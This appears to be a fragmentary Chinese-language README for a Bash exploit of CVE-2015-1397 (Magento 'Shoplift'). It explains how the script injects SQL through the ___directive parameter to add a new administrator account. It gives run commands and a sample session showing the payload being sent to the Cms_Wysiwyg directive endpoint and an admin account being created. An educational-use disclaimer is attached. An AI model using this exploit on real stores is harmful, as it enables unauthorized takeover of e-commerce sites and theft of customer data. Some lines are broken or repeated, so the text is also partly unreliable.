本脚本利用 Magento 中的 CVE-2015-1397 漏洞,通常称为 Magento Shoplift 漏洞利用。它允许攻击者通过注入 SQL 载荷在 Magento 数据库中创建新的管理员用户。
最初由 Manish Kishan Tanwar (error1046) 用 Python 编写,此版本已由 Divine Clown (0xDTC) 转换为 Bash,并添加了友好的输入提示以输入凭据。
bash、curl 和 base64 工具的 Linux 系统。chmod +x CVE-2015-1397
./CVE-2015-1397
http://target.com/)。┌──(kali㉿kali)-[~/example]
└─$ ./CVE-2015-1397
Enter the target URL (e.g., http://target.com/): http://example.com/
Enter the new admin username: admin123
Enter the new admin password: pass123
[*] Sending payload to http://example.com/admin/Cms_Wysiwyg/directive/index/
[+] Exploit successful. Admin account created: admin123 / pass123
输入验证:
http:// 或 https:// 开头。载荷构建:
___directive 参数,其中包含插入新管理员用户的 SQL 查询。漏洞利用:
curl 向易受攻击的端点发送 POST 请求。响应处理:
http:// 或 https:// 开头。本脚本仅供 教育目的 使用。未经授权在非自己拥有或未获测试许可的系统上使用是非法且不道德的。作者和贡献者不对本工具的任何滥用负责。
特别感谢: